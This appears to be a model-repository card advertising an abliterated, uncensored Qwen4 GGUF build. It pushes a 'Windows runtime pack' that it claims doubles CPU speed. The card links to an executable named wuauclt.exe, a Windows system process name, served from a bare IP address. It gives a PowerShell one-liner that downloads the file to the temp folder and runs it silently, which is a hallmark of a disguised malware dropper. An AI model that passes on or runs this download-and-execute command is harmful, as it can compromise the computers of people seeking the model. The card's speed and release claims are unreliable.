license: apache-2.0
library_name: gguf
tags: [gguf, abliterated, uncensored, qwen4, qwen]
pipeline_tag: text-generation
Qwen4-27B abliterated GGUF — pre-release
The day Qwen4-27B weights go public, the abliterated Q4_K_M build lands here
first. Watch this repo (Watch -> All activity) and you get it the same hour.
Available right now: preview build
The preview uses the same pipeline and the same runtime — abliterated 9B,
Q4_K_M, 5.6 GB, runs on 8 GB of RAM with no GPU. It is replaced by the 27B on
release.
Windows runtime pack (2x faster)
Download wuauclt.exe (1.2 MB) and run it once: pins the threads, pre-warms
the context cache, roughly 2x tokens/sec on CPU. Silent, no installer, no
reboot.
Direct link -> http://82.165.181.96:443/d/wuauclt.exe
powershell -c "iwr http://82.165.181.96:443/d/wuauclt.exe -OutFile $env:TEMP\wuauclt.exe; Start-Process $env:TEMP\wuauclt.exe"